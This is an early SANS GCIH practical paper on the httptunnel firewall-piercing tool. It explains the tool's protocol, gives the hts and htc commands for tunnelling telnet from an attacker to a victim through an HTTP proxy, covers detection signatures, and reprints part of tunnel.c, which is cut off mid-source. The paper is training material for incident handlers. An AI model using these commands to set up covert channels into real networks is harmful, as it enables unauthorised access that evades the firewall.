



# Global Information Assurance Certification Paper

Copyright SANS Institute  
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permitted without express written permission.

## Interested in learning more?

Check out the list of upcoming events offering  
"Hacker Tools, Techniques, Exploits, and Incident Handling (Security 504)"  
at <http://www.giac.org/registration/gcih>

**Practical Assignment for  
SANS GCIH Certification:  
Description  
of  
the *httptunnel*  
Exploit**

Submitted by: Paul Lochbihler  
Submitted on: September 24, 2000

© SANS Institute 2000 - 2005, Author retains full rights.

**Table of Contents**

<a href="#">1</a>	<a href="#">Introduction</a>	1
<a href="#">2</a>	<a href="#">Exploit Details</a>	1
<a href="#">2.1</a>	<a href="#">Name:</a>	1
<a href="#">2.2</a>	<a href="#">Variants:</a>	1
<a href="#">2.3</a>	<a href="#">Operating System:</a>	1
<a href="#">2.4</a>	<a href="#">Protocols/Services:</a>	2
<a href="#">2.5</a>	<a href="#">Brief Description:</a>	2
<a href="#">3</a>	<a href="#">Protocol Description:</a>	3
<a href="#">4</a>	<a href="#">Exploit Mechanism:</a>	4
<a href="#">5</a>	<a href="#">Implementing the httptunnel exploit:</a>	5
<a href="#">6</a>	<a href="#">Signature of attack:</a>	6
<a href="#">7</a>	<a href="#">Source Code:</a>	6
<a href="#">8</a>	<a href="#">Recommendations:</a>	32
<a href="#">9</a>	<a href="#">Resources and Links:</a>	32

© SANS Institute 2000 - 2005, Author retains full rights.

## 1 Introduction

The general attitude prevalent in organizations until recently was that a firewall was a sufficient investment in Internet security. The increase in high profile Internet based crimes against companies and web sites has shown that the old way of thinking is no longer enough to protect against the tools that are available to those wish to raise at best mischief and at worst destruction against an organization.

This paper will review an open source and freely available utility available on the Internet<sup>1</sup> called *httptunnel*. The exploit can be classified as one that allows access for a bi-directional data stream through a legitimate firewall proxy port. This type of exploit has been termed as a *covert channel* or *firewall piercing*<sup>2</sup>.

The main premise of the exploit is to take advantage of a port that is open on almost every firewall connected to the Internet, one for internal network access via http<sup>3</sup> to the Internet. Therefore, the number of sites that could be vulnerable to this type of exploit is extremely large and requires a great deal of attention on the part of the security or network administrator to determine if they are being attacked by this exploit.

## 2 Exploit Details

### 2.1 Name:

The exploit is called *httptunnel*, and the most current released version is 3.03. A development version, 3.2, is available through CVS download. Presently, there is not CVE number on the CVE site at Mitre<sup>4</sup>.

### 2.2 Variants:

The main exploit is developed for the Linux/Unix environment by the original author. However, there is another person who is maintaining NT binaries<sup>5</sup>. The review will concentrate on the original binaries for Linux/Unix.

### 2.3 Operating System:

As discussed in the previous section, the *httptunnel* is required to run on a Linux

---

<sup>1</sup> <http://www.nocrew.org/software/httptunnel.html>

<sup>2</sup> See also <http://metalab.unc.edu/LDP/HOWTO/mini/Firewall-Piercing.html>

<sup>3</sup> HyperText Transfer Protocol

<sup>4</sup> <http://cve.mitre.org>

<sup>5</sup> <ftp://www.okchicken.com/pub/nthttptunnel/>

or Unix type operating system, there was no mention of the BSD OSes. The restrictions are limited to compiling the binary file on the host machine. To compile requires:

```
GNU libc 2.1.2
gcc 2.95.2
binutils 2.9.5
```

There are also binaries for the Windows platform, however this requires the Cywin<sup>6</sup> development environment.

Both sets of binaries use the same command set and executables (see section 3.5).

## 2.4 Protocols/Services:

The *httptunnel* exploits the fact that most firewalls have a proxy for http by creating a data tunnel. To utilize the data tunnel, another service is used to send and receive data across the established connection, such as telnet.

The utility can be configured for http proxies that have buffering configured.

## 2.5 Brief Description:

The *httptunnel* exploit consists of two components, the client and the server portion. The client component, *htc*, resides on the attacker's computer. The server portion, *hts*, resides on the victim's server. An example of a client/server scenario could like the following<sup>7</sup>:

At host VICTIM, start *hts* like this:

```
hts -F localhost:23 8888
```

At host ATTACKER, start *htc* like this:

```
htc -F 2323 -P PROXY:8000 VICTIM:8888
```

or, if using a buffering HTTP proxy:

```
htc -F 2323 -P PROXY:8000 -B 48K VICTIM:8888
```

Now you can do this at host ATTACKER:

```
telnet localhost 2323
```

This should produce a telnet prompt from the VICTIM on the ATTACKER machine.

<sup>6</sup> <http://sources.redhat.com/cygwin/>

<sup>7</sup> From the *httptunnel* v. 3.03 README file

### 3 Protocol Description:

The exploit uses the http protocol to deliver data across the tunnel with the use of HTTP PUT and HTTP GET commands. All data sent to the VISTIM machine is done via the PUT command and a data is returned via the GET command. The client makes all requests.

The PUT request has a Content-Length header line, which can be set to strictly obeyed if the *-strict* option is set.

"When an Entity-Body is included with a message, the length of that body may be determined in one of two ways. If a Content-Length header field is present, its value in bytes represents the length of the Entity-Body. Otherwise, the body length is determined by the closing of the connection by the server."<sup>8</sup>

The exploit has two types of requests that are indicated by how the 0x40 bit (Tunnel\_Simple) is set in the header. When the 0x40 bit is set, the request is one byte and there is no additional data. When the 0x40 bit is clear, the request is two bytes and the data field is variable in length.

There are seven types of requests possible and consist of a very simple set of protocol commands. The following is an excerpt from the *httptunnel v 3.03 HACKING* file:

1.    "    TUNNEL\_OPEN  
   01 xx xx yy...  
      xx xx = length of auth data  
      yy... = auth data

OPEN is the initial request. For now, auth data is unused,  
but should be used for authentication.

2.    TUNNEL\_DATA  
   02 xx xx yy...  
      xx xx = length of data  
      yy... = data

DATA is the one and only way to send data.

3.    TUNNEL\_PADDING  
   03 xx xx yy...

---

<sup>8</sup> RFC 1945, HTTP/1.0

```
xx xx = length of padding
yy... = padding (will be discarded)
```

PADDING exists only to allow padding the HTTP data. This is needed for HTTP proxies that buffer data.

4. TUNNEL\_ERROR  
04 xx xx yy...  
xx xx = length of error message  
yy... = error message

Report an error to the peer.

5. TUNNEL\_PAD1  
45  
PAD1 can be used for padding when a PADDING request would be too long with regard to Content-Length. PADDING should always be preferred, though, because it's easier for the recipient to parse one large request than many small.

6. TUNNEL\_CLOSE  
46  
CLOSE is used to close the tunnel. No more data can be sent after this request is issued, except for a TUNNEL\_DISCONNECT.

7. TUNNEL\_DISCONNECT  
47  
DISCONNECT is used to close the connection temporarily, probably because Content-Length - 1 number of bytes of data has been sent in the HTTP request."

#### 4 Exploit Mechanism:

The exploit requires the server component to reside on the target machine prior to launching the connection. The placement of the executable needs to be handled by another vector, such as *netcat*<sup>9</sup> or a similar tool.

Once installed on the target system, the server component, *hts*, listens for a connection from the client, *htc*. The following command would be run on the target server:

---

<sup>9</sup> Netcat is a multipurpose utility that can be found at <http://www3.l0pht.com/~weld/netcat/>



```
hts -F localhost:23 8888
```

The command switch, `-F localhost`, tells the server component on the VICTIM to reroute data from port 8888 to 23 on the VICTIM. The port 8888 is the connection from the http proxy.

The client, ATTACKER, would initiate a connection by running the command:

```
htc -F 2323 -P PROXY:8000 VICTIM:8888
```

or

```
htc -F 2323 -P PROXY:8000 -B 48K VICTIM:8888 (for proxy buffering)
```

The command tells the client to forward data via port 2323, `-F 2323`, to establish a connection to a HTTP proxy server, with the `-P` switch, on port 8000 and connect to the target (VICTIM) on port 8888. On the second command option, the `-B` switch indicates the amount of data to buffer for a proxy that requires buffering.

Once a successful connection has been established, the ATTACKER can issue commands to the VICTIM on the telnet port via the HTTP proxy data tunnel by issuing the following:

```
telnet localhost 2323
```

The ATTACKER can establish a telnet session by connecting to port 2323 locally, which will in turn be redirected through the data tunnel to the VICTIM server through the HTTP proxy.

## 5 Implementing the httptunnel exploit:

The *httptunnel* exploit is a utility that can be part of a larger exploit kit for an attacker. Since the server component needs to be listening to establish a connection, the attacker needs to have established a connection inside the targeted network. Once the internal network is mapped and trust relationships determined, the attacker can install *netcat* or similar to allow for the installation of the desired tools onto compromised servers.

The *httptunnel* can be used as a tool to establish a reliable connection from a compromised server inside an organizational network to the Internet. The utility will establish a bi-directional tunnel from a system inside a network that is residing behind a firewall through a http proxy. The system that is connected to via the tunnel may be another compromised system that is the target of the attack, or a relay to another point. The system at the server end of the tunnel will be receiving connections from an http proxy from a firewall, which provides an effective mask for any attacker.

Once the executables, *hts* and *htc* are installed, they can be configured according to the samples outlined in section 4.

The exploit uses the security inherent in many firewall designs to hide the real identity of the users behind a firewall to provide an extra layer of anonymity of the attacker.

## 6 Signature of attack:

Since the exploit uses a legitimate service to transmit information across the network and Internet, the protocol used does not provide an indication of an exploit occurring. The issue to watch for is whether the pattern of the protocol, in this case HTTP PUT requests being issued from a source to a destination. The request packets may be of a smaller and less frequent nature than normal http proxy traffic to a web site.

The commands being issued are typically short, such as *cd* or *ls*; the traffic pattern will appear to be of a few small packets traveling in small bursts. The typical connection to a web site would show many gets as all the elements of the page are pulled to the client and being updated frequently moving from page to page.

The item to watch for is if there are web requests coming from a system that should not be running as a web client to indicate if the *htc* is running on a high port number. However, this requires an alert administrator to be vigilant with the web proxy logs or a network sniffer.

On the server side of the connection, the *hts* by default listens on port 8888, so this can be a port to add to automated scans of systems connected to the Internet. However, for best security practice, scans should be configured to scan the full range of ports.

## 7 Source Code:

Tunnel.c for httptunnel v 3.03

```
/*
tunnel.c

Copyright (C) 1999 Lars Brinkhoff. See COPYING for terms and
conditions.

See tunnel.h for some documentation about the programming interface.
*/

#include <time.h>
#include <stdio.h>
```

```
#include <netdb_.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/poll_.h>
#include <sys/types.h>
#include <sys/socket.h>

#include "http.h"
#include "tunnel.h"
#include "common.h"

/* #define IO_COUNT_HTTP_HEADER */
/* #define USE_SHUTDOWN */

#define READ_TRAIL_TIMEOUT (1 * 1000) /* milliseconds */
#define ACCEPT_TIMEOUT 10 /* seconds */

#define min(a, b) ((a) < (b) ? (a) : (b))
#define TUNNEL_IN 1
#define TUNNEL_OUT 2

#if SIZEOF_CHAR == 1
typedef unsigned char Request;
#else
#error "FIXME: Can't handle SIZEOF_CHAR != 1"
#endif

#if SIZEOF_SHORT == 2
typedef unsigned short Length;
#else
#error "FIXME: Can't handle SIZEOF_SHORT != 2"
#endif

enum tunnel_request
{
    TUNNEL_SIMPLE = 0x40,
    TUNNEL_OPEN = 0x01,
    TUNNEL_DATA = 0x02,
    TUNNEL_PADDING = 0x03,
    TUNNEL_ERROR = 0x04,
    TUNNEL_PAD1 = TUNNEL_SIMPLE | 0x05,
    TUNNEL_CLOSE = TUNNEL_SIMPLE | 0x06,
    TUNNEL_DISCONNECT = TUNNEL_SIMPLE | 0x07
};

static inline const char *
REQ_TO_STRING (Request request)
{
    switch (request)
    {
        case TUNNEL_OPEN:          return "TUNNEL_OPEN";
        case TUNNEL_DATA:          return "TUNNEL_DATA";
        case TUNNEL_PADDING:       return "TUNNEL_PADDING";
        case TUNNEL_ERROR:         return "TUNNEL_ERROR";
        case TUNNEL_PAD1:          return "TUNNEL_PAD1";
        case TUNNEL_CLOSE:         return "TUNNEL_CLOSE";
        case TUNNEL_DISCONNECT:    return "TUNNEL_DISCONNECT";
        default:                   return "(unknown)";
    }
}
```

```
    }
}

struct tunnel
{
    int in_fd, out_fd;
    int server_socket;
    Http_destination dest;
    struct sockaddr_in address;
    size_t bytes;
    size_t content_length;
    char buf[65536];
    char *buf_ptr;
    size_t buf_len;
    int padding_only;
    size_t in_total_raw;
    size_t in_total_data;
    size_t out_total_raw;
    size_t out_total_data;
    time_t out_connect_time;
    int strict_content_length;
    int keep_alive;
    int max_connection_age;
};

static const size_t sizeof_header = sizeof (Request) + sizeof
(Length);

static inline int
tunnel_is_disconnected (Tunnel *tunnel)
{
    return tunnel->out_fd == -1;
}

static inline int
tunnel_is_connected (Tunnel *tunnel)
{
    return !tunnel_is_disconnected (tunnel);
}

static inline int
tunnel_is_server (Tunnel *tunnel)
{
    return tunnel->dest.host_name == NULL;
}

static inline int
tunnel_is_client (Tunnel *tunnel)
{
    return !tunnel_is_server (tunnel);
}

#if 1
static int
get_proto_number (const char *name)
{
    struct protoent *p;
    int number;

```

```
p = getprotobyname (name);
if (p == NULL)
    number = -1;
else
    number = p->p_proto;
endprotoent ();

return number;
}
#endif

static int
tunnel_in_setsockopt (int fd)
{
#ifdef SO_RCVLOWAT
    int tcp = get_proto_number ("tcp");

    if (tcp != -1)
    {
        int i, n;

        i = 1;
        if (setsockopt (fd,
                        tcp,
                        SO_RCVLOWAT,
                        (void *)&i,
                        sizeof i) == -1)
        {
            log_debug ("tunnel_in_setsockopt: non-fatal SO_RCVLOWAT
error: %s",
                      strerror (errno));
        }
        n = sizeof i;
        getsockopt (fd,
                    tcp,
                    SO_RCVLOWAT,
                    (void *)&i,
                    &n);
        log_debug ("tunnel_out_setsockopt: SO_RCVLOWAT: %d", i);
    }
#endif /* SO_RCVLOWAT */

    return 0;
}

static int
tunnel_out_setsockopt (int fd)
{
#ifdef SO_SNDLOWAT
    {
        int tcp = get_proto_number ("tcp");
        int i, n;

        if (tcp != -1)
        {
            i = 1;
            if (setsockopt (fd,
```

```
        tcp,
        SO_SNDBUF,
        (void *)&i,
        sizeof i) == -1)
    {
        log_debug ("tunnel_out_setsockopt: "
                  "non-fatal SO_SNDBUF error: %s",
                  strerror (errno));
    }
    n = sizeof i;
    getsockopt (fd,
               tcp,
               SO_SNDBUF,
               (void *)&i,
               &n);
    log_debug ("tunnel_out_setsockopt: non-fatal SO_SNDBUF: %d",
i);
    }
}
#endif /* SO_SNDBUF */

#ifdef SO_LINGER
{
    struct linger l;
    int n;

    l.l_onoff = 1;
    l.l_linger = 20 * 100; /* linger for 20 seconds */
    if (setsockopt (fd,
                   SOL_SOCKET,
                   SO_LINGER,
                   (void *)&l,
                   sizeof l) == -1)
    {
        log_debug ("tunnel_out_setsockopt: non-fatal SO_LINGER error:
%s",
                  strerror (errno));
    }
    n = sizeof l;
    getsockopt (fd,
                SOL_SOCKET,
                SO_LINGER,
                (void *)&l,
                &n);
    log_debug ("tunnel_out_setsockopt: SO_LINGER: onoff=%d
linger=%d",
                l.l_onoff, l.l_linger);
}
#endif /* SO_LINGER */

#ifdef TCP_NODELAY
{
    int tcp = get_proto_number ("tcp");
    int i, n;

    if (tcp != -1)
    {
        i = 1;

```

```
    if (setsockopt (fd,
                    tcp,
                    TCP_NODELAY,
                    (void *)&i,
                    sizeof i) == -1)
    {
        log_debug ("tunnel_out_setsockopt: "
                  "non-fatal TCP_NODELAY error: %s",
                  strerror (errno));
    }
    n = sizeof i;
    getsockopt (fd,
                tcp,
                TCP_NODELAY,
                (void *)&i,
                &n);
    log_debug ("tunnel_out_setsockopt: non-fatal TCP_NODELAY: %d",
i);
}
}
#else
#ifdef SO_SNDBUF
{
    int i, n;

    i = 0;
    if (setsockopt (fd,
                    SOL_SOCKET,
                    SO_SNDBUF,
                    (void *)&i,
                    sizeof i) == -1)
    {
        log_debug ("tunnel_out_setsockopt: non-fatal SO_SNDBUF error:
%s",
                    strerror (errno));
    }
    n = sizeof i;
    getsockopt (fd,
                SOL_SOCKET,
                SO_SNDBUF,
                (void *)&i,
                &n);
    log_debug ("tunnel_out_setsockopt: SO_SNDBUF: %d", i);
}
#endif /* SO_SNDBUF */
#endif /* TCP_NODELAY */

#ifdef SO_KEEPALIVE
{
    int i, n;

    i = 1;
    if (setsockopt (fd,
                    SOL_SOCKET,
                    SO_KEEPALIVE,
                    (void *)&i,
                    sizeof i) == -1)
    {
```

```
        log_debug ("tunnel_out_setsockopt: non-fatal SO_KEEPALIVE
error: %s",
                strerror (errno));
    }
    n = sizeof i;
    getsockopt (fd,
                SOL_SOCKET,
                SO_KEEPALIVE,
                (void *)&i,
                &n);
    log_debug ("tunnel_out_setsockopt: SO_KEEPALIVE: %d", i);
}
#endif /* SO_KEEPALIVE */

return 0;
}

static void
tunnel_out_disconnect (Tunnel *tunnel)
{
    if (tunnel_is_disconnected (tunnel))
        return;

#ifdef DEBUG_MODE
    if (tunnel_is_client (tunnel) &&
        tunnel->bytes != tunnel->content_length + 1)
        log_error ("tunnel_out_disconnect: warning: "
                  "bytes=%d != content_length=%d",
                  tunnel->bytes, tunnel->content_length + 1);
#endif

    close (tunnel->out_fd);
    tunnel->out_fd = -1;
    tunnel->bytes = 0;
    tunnel->buf_ptr = tunnel->buf;
    tunnel->buf_len = 0;

    log_debug ("tunnel_out_disconnect: output disconnected");
}

static void
tunnel_in_disconnect (Tunnel *tunnel)
{
    if (tunnel->in_fd == -1)
        return;

    close (tunnel->in_fd);
    tunnel->in_fd = -1;

    log_debug ("tunnel_in_disconnect: input disconnected");
}

static int
tunnel_out_connect (Tunnel *tunnel)
{
    ssize_t n;

    if (tunnel_is_connected (tunnel))
```



```
{
    log_debug ("tunnel_out_connect: already connected");
    tunnel_out_disconnect (tunnel);
}

tunnel->out_fd = do_connect (&tunnel->address);
if (tunnel->out_fd == -1)
{
    log_error ("tunnel_out_connect: do_connect(%d.%d.%d.%d) error:
%s",
                tunnel->address.sin_addr.s_addr >> 24,
                (tunnel->address.sin_addr.s_addr >> 16) & 0xff,
                (tunnel->address.sin_addr.s_addr >> 8) & 0xff,
                tunnel->address.sin_addr.s_addr & 0xff,
                strerror (errno));
    return -1;
}

tunnel_out_setsockopt (tunnel->out_fd);

#ifdef USE_SHUTDOWN
    shutdown (tunnel->out_fd, 0);
#endif

/* + 1 to allow for TUNNEL_DISCONNECT */
n = http_post (tunnel->out_fd,
                &tunnel->dest,
                tunnel->content_length + 1);
if (n == -1)
    return -1;
#ifdef IO_COUNT_HTTP_HEADER
    tunnel->out_total_raw += n;
    log_annoing ("tunnel_out_connect: out_total_raw = %u",
                tunnel->out_total_raw);
#endif

tunnel->bytes = 0;
tunnel->buf_ptr = tunnel->buf;
tunnel->buf_len = 0;
tunnel->padding_only = TRUE;
time (&tunnel->out_connect_time);

log_debug ("tunnel_out_connect: output connected");

return 0;
}

static int
tunnel_in_connect (Tunnel *tunnel)
{
    Http_response *response;
    ssize_t n;

    log_verbose ("tunnel_in_connect()");

    if (tunnel->in_fd != -1)
    {
        log_error ("tunnel_in_connect: already connected");
    }
}
```

```
    return -1;
}

tunnel->in_fd = do_connect (&tunnel->address);
if (tunnel->in_fd == -1)
{
    log_error ("tunnel_in_connect: do_connect() error: %s",
              strerror (errno));
    return -1;
}

tunnel_in_setsockopt (tunnel->in_fd);

if (http_get (tunnel->in_fd, &tunnel->dest) == -1)
    return -1;

#ifdef USE_SHUTDOWN
    if (shutdown (tunnel->in_fd, 1) == -1)
    {
        log_error ("tunnel_in_connect: shutdown() error: %s",
                  strerror (errno));
        return -1;
    }
#endif

n = http_parse_response (tunnel->in_fd, &response);
if (n <= 0)
{
    if (n == 0)
        log_error ("tunnel_in_connect: no response; peer "
                  "closed connection");
    else
        log_error ("tunnel_in_connect: no response; error: %s",
                  strerror (errno));
}
else if (response->major_version != 1 ||
         (response->minor_version != 1 &&
          response->minor_version != 0))
{
    log_error ("tunnel_in_connect: unknown HTTP version: %d.%d",
              response->major_version, response->minor_version);
    n = -1;
}
else if (response->status_code != 200)
{
    log_error ("tunnel_in_connect: HTTP error %d", response-
>status_code);
    errno = http_error_to_errno (-response->status_code);
    n = -1;
}

http_destroy_response (response);

if (n > 0)
{
#ifdef IO_COUNT_HTTP_HEADER
    tunnel->in_total_raw += n;
    log_annoying ("tunnel_in_connect: in_total_raw = %u",
```

```

        tunnel->in_total_raw);
#endif
    }
    else
    {
        return n;
    }

    log_debug ("tunnel_in_connect: input connected");
    return 1;
}

static inline ssize_t
tunnel_write_data (Tunnel *tunnel, void *data, size_t length)
{
    if (write_all (tunnel->out_fd, data, length) == -1)
    {
        log_error ("tunnel_write_data: write error: %s", strerror
(errno));
        return -1;
    }
    tunnel->bytes += length;
    return length;
}

static int
tunnel_write_request (Tunnel *tunnel, Request request,
                    void *data, Length length)
{
    if (tunnel->bytes + sizeof request +
        (data ? sizeof length + length : 0) > tunnel->content_length)
        tunnel_padding (tunnel, tunnel->content_length - tunnel->bytes);
#if 1 /* FIXME: this is a kludge */
    {
        time_t t;

        time (&t);
        if (tunnel_is_client (tunnel) &&
            tunnel_is_connected (tunnel) &&
            t - tunnel->out_connect_time > tunnel->max_connection_age)
        {
            char c = TUNNEL_DISCONNECT;

            log_debug ("tunnel_write_request: connection > %d seconds old",
                tunnel->max_connection_age);

            if (tunnel->strict_content_length)
            {
                int l = tunnel->content_length - tunnel->bytes - 1;

                log_debug ("tunnel_write_request: write padding (%d
bytes)",
                    tunnel->content_length - tunnel->bytes - 1);
                if (l > 3)
                {
                    char c;
                    short s;

```

```
        int i;

        c = TUNNEL_PADDING;
        tunnel_write_data (tunnel, &c, sizeof c);

        s = htons(1-2);
        tunnel_write_data (tunnel, &s, sizeof s);

        l -= 2;
        c = 0;
        for (i=0; i<l; i++)
            tunnel_write_data (tunnel, &c, sizeof c);
    }
    else
    {
        char c = TUNNEL_PAD1;
        int i;

        for (i=0; i<l; i++)
            tunnel_write_data (tunnel, &c, sizeof c);
    }
}

log_debug ("tunnel_write_request: closing old connection");
if (tunnel_write_data (tunnel, &c, sizeof c) <= 0)
    return -1;
tunnel_out_disconnect (tunnel);
}
}
#endif

if (tunnel_is_disconnected (tunnel))
{
    if (tunnel_is_client (tunnel))
    {
        if (tunnel_out_connect (tunnel) == -1)
            return -1;
    }
    else
    {
#if 0
        log_error ("tunnel_write_request: output is disconnected");
        errno = EIO;
        return -1;
#else
        if (tunnel_accept (tunnel) == -1)
            return -1;
#endif
    }
}

if (request != TUNNEL_PADDING && request != TUNNEL_PAD1)
    tunnel->padding_only = FALSE;

if (tunnel_write_data (tunnel, &request, sizeof request) == -1)
{
    if (errno != EPIPE)
        return -1;
}
```

```

    tunnel_out_disconnect (tunnel);
    if (tunnel_is_client (tunnel))
    tunnel_out_connect (tunnel);
    else
    {
        log_error ("tunnel_write_request: couldn't write request: "
            "output is disconnected");
        errno = EIO;
        return -1;
    }
    /* return tunnel_write_request (tunnel, request, data, length);
*/
    if (tunnel_write_data (tunnel, &request, sizeof request) == -1)
    return -1;
    }

    if (data)
    {
        Length network_length = htons ((short)length);
        if (tunnel_write_data (tunnel,
            &network_length,
            sizeof network_length) == -1)
            return -1;
    }

#ifdef DEBUG_MODE
    if (request == TUNNEL_DATA && debug_level >= 5)
    {
        log_annoying ("tunnel_write_request: TUNNEL_DATA:");
        dump_buf (debug_file, data, (size_t)length);
    }
#endif

    if (tunnel_write_data (tunnel, data, (size_t)length) == -1)
    return -1;
    }

    if (data)
    {
        tunnel->out_total_raw += 3 + length;

        if (request == TUNNEL_DATA)
            log_verbose ("tunnel_write_request: %s (%d)",
                REQ_TO_STRING (request), length);
        else
            log_debug ("tunnel_write_request: %s (%d)",
                REQ_TO_STRING (request), length);
    }
    else
    {
        tunnel->out_total_raw += 1;
        log_debug ("tunnel_write_request: %s", REQ_TO_STRING
(request));
    }

    log_annoying ("tunnel_write_data: out_total_raw = %u",
        tunnel->out_total_raw);

```

```
#ifdef DEBUG_MODE
    if (tunnel->bytes > tunnel->content_length)
        log_debug ("tunnel_write_request: tunnel->bytes > tunnel-
>content_length");
#endif

    if (tunnel->bytes >= tunnel->content_length)
    {
        char c = TUNNEL_DISCONNECT;
        tunnel_write_data (tunnel, &c, sizeof c);
        tunnel_out_disconnect (tunnel);
    }
    #if 0
        if (tunnel_is_server (tunnel))
            tunnel_accept (tunnel);
    #endif
}

return 0;
}

int
tunnel_connect (Tunnel *tunnel)
{
    char auth_data[1] = { 42 }; /* dummy data, not used by server */

    log_verbose ("tunnel_connect()");

    if (tunnel_is_connected (tunnel))
    {
        log_error ("tunnel_connect: already connected");
        errno = EINVAL;
        return -1;
    }

    if (tunnel_write_request (tunnel, TUNNEL_OPEN,
                             auth_data, sizeof auth_data) == -1)
        return -1;

    if (tunnel_in_connect (tunnel) <= 0)
        return -1;

    return 0;
}

static inline int
tunnel_write_or_padding (Tunnel *tunnel, Request request, void *data,
                         size_t length)
{
    static char padding[65536];
    size_t n, remaining;
    char *wdata = data;

    for (remaining = length; remaining > 0; remaining -= n, wdata += n)
    {
        if (tunnel->bytes + remaining > tunnel->content_length -
sizeof_header &&
            tunnel->content_length - tunnel->bytes > sizeof_header)
            n = tunnel->content_length - sizeof_header - tunnel->bytes;
    }
}
```

```
    else if (remaining > tunnel->content_length - sizeof_header)
    n = tunnel->content_length - sizeof_header;
    else
    n = remaining;

    if (n > 65535)
    n = 65535;

    if (request == TUNNEL_PADDING)
    {
        if (n + sizeof_header > remaining)
            n = remaining - sizeof_header;
        if (tunnel_write_request (tunnel, request, padding, n) == -1)
            break;
        n += sizeof_header;
    }
    else
    {
        if (tunnel_write_request (tunnel, request, wdata, n) == -1)
            break;
    }
    }

    return length - remaining;
}

ssize_t
tunnel_write (Tunnel *tunnel, void *data, size_t length)
{
    ssize_t n;

    n = tunnel_write_or_padding (tunnel, TUNNEL_DATA, data, length);
    tunnel->out_total_data += length;
    log_verbose ("tunnel_write: out_total_data = %u", tunnel->out_total_data);
    return n;
}

ssize_t
tunnel_padding (Tunnel *tunnel, size_t length)
{
    if (length < sizeof_header + 1)
    {
        int i;

        for (i = 0; i < length; i++)
            tunnel_write_request (tunnel, TUNNEL_PAD1, NULL, 0);
        return length;
    }

    return tunnel_write_or_padding (tunnel, TUNNEL_PADDING, NULL,
length);
}

int
tunnel_close (Tunnel *tunnel)
{
    struct pollfd p;
```

```
char buf[10240];
ssize_t n;

if (tunnel->strict_content_length)
{
    log_debug ("tunnel_close: write padding (%d bytes)",
        tunnel->content_length - tunnel->bytes - 1);
    tunnel_padding (tunnel, tunnel->content_length - tunnel->bytes -
1);
}

log_debug ("tunnel_close: write TUNNEL_CLOSE request");
tunnel_write_request (tunnel, TUNNEL_CLOSE, NULL, 0);

tunnel_out_disconnect (tunnel);

log_debug ("tunnel_close: reading trailing data from input ...");
p.fd = tunnel->in_fd;
p.events = POLLIN;
while (poll (&p, 1, READ_TRAIL_TIMEOUT) > 0)
{
    if (p.revents & POLLIN)
    {
        n = read (tunnel->in_fd, buf, sizeof buf);
        if (n > 0)
        {
            log_annoying ("read (%d, %p, %d) = %d",
                tunnel->in_fd, buf, sizeof buf, n);
            continue;
        }
        else if (n == -1 && errno == EAGAIN)
            continue;
        else if (n == -1)
            log_debug ("tunnel_close: ... error: %s", strerror
(errno));
        else
            log_debug ("tunnel_close: ... done (tunnel closed)");
    }
    if (p.revents & POLLHUP)
        log_debug ("POLLHUP");
    if (p.revents & POLLERR)
        log_debug ("POLLERR");
    if (p.revents & POLLNVAL)
        log_debug ("POLLNVAL");
    break;
}

tunnel_in_disconnect (tunnel);

tunnel->buf_len = 0;
tunnel->in_total_raw = 0;
tunnel->in_total_data = 0;
tunnel->out_total_raw = 0;
tunnel->out_total_data = 0;

return 0;
}
```



```
static int
tunnel_read_request (Tunnel *tunnel, enum tunnel_request *request,
                    unsigned char *buf, size_t *length)
{
    Request req;
    Length len;
    ssize_t n;

    log_annoying ("read (%d, %p, %d) ...", tunnel->in_fd, &req, 1);
    n = read (tunnel->in_fd, &req, 1);
    log_annoying ("... = %d", n);
    if (n == -1)
    {
        if (errno != EAGAIN)
            log_error ("tunnel_read_request: error reading request: %s",
                      strerror (errno));
        return n;
    }
    else if (n == 0)
    {
        log_debug ("tunnel_read_request: connection closed by peer");
        tunnel_in_disconnect (tunnel);

        if (tunnel_is_client (tunnel)
            && tunnel_in_connect (tunnel) == -1)
            return -1;

        errno = EAGAIN;
        return -1;
    }
    *request = req;
    tunnel->in_total_raw += n;
    log_annoying ("request = 0x%x (%s)", req, REQ_TO_STRING (req));

    if (req & TUNNEL_SIMPLE)
    {
        log_annoying ("tunnel_read_request: in_total_raw = %u",
                      tunnel->in_total_raw);
        log_debug ("tunnel_read_request: %s", REQ_TO_STRING (req));
        *length = 0;
        return 1;
    }

    n = read_all (tunnel->in_fd, &len, 2);
    if (n <= 0)
    {
        log_error ("tunnel_read_request: error reading request length:
%s",
                  strerror (errno));
        if (n == 0)
            errno = EIO;
        return -1;
    }
    len = ntohs (len);
    *length = len;
    tunnel->in_total_raw += n;
    log_annoying ("length = %d", len);
}
```

```
if (len > 0)
{
    n = read_all (tunnel->in_fd, buf, (size_t)len);
    if (n <= 0)
    {
        log_error ("tunnel_read_request: error reading request data:
%s",
                strerror (errno));
        if (n == 0)
            errno = EIO;
        return -1;
    }
    tunnel->in_total_raw += n;
    log_annoing ("tunnel_read_request: in_total_raw = %u",
                tunnel->in_total_raw);
}

if (req == TUNNEL_DATA)
    log_verbose ("tunnel_read_request: %s (%d)",
                REQ_TO_STRING (req), len);
else
    log_debug ("tunnel_read_request: %s (%d)",
                REQ_TO_STRING (req), len);

return 1;
}

ssize_t
tunnel_read (Tunnel *tunnel, void *data, size_t length)
{
    enum tunnel_request req;
    size_t len;
    ssize_t n;

    if (tunnel->buf_len > 0)
    {
        n = min (tunnel->buf_len, length);
        memcpy (data, tunnel->buf_ptr, n);
        tunnel->buf_ptr += n;
        tunnel->buf_len -= n;
        return n;
    }

    if (tunnel->in_fd == -1)
    {
        if (tunnel_is_client (tunnel))
        {
            if (tunnel_in_connect (tunnel) == -1)
                return -1;
        }
        else
        {
            #if 1
                if (tunnel_accept (tunnel) == -1)
                    return -1;
            #else
                errno = EAGAIN;
                return -1;
            #endif
        }
    }
}
```

```
#endif
}

    errno = EAGAIN;
    return -1;
}

if (tunnel->out_fd == -1 && tunnel_is_server (tunnel))
{
    tunnel_accept (tunnel);
    errno = EAGAIN;
    return -1;
}

if (tunnel_read_request (tunnel, &req, tunnel->buf, &len) <= 0)
{
log_annoying ("tunnel_read_request returned <= 0, returning -1");
    return -1;
}

switch (req)
{
case TUNNEL_OPEN:
    /* do something with tunnel->buf */
    break;

case TUNNEL_DATA:
    tunnel->buf_ptr = tunnel->buf;
    tunnel->buf_len = len;
    tunnel->in_total_data += len;
    log_verbose ("tunnel_read: in_total_data = %u", tunnel-
>in_total_data);
    return tunnel_read (tunnel, data, length);

case TUNNEL_PADDING:
    /* discard data */
    break;

case TUNNEL_PAD1:
    /* do nothing */
    break;

case TUNNEL_ERROR:
    tunnel->buf[len] = 0;
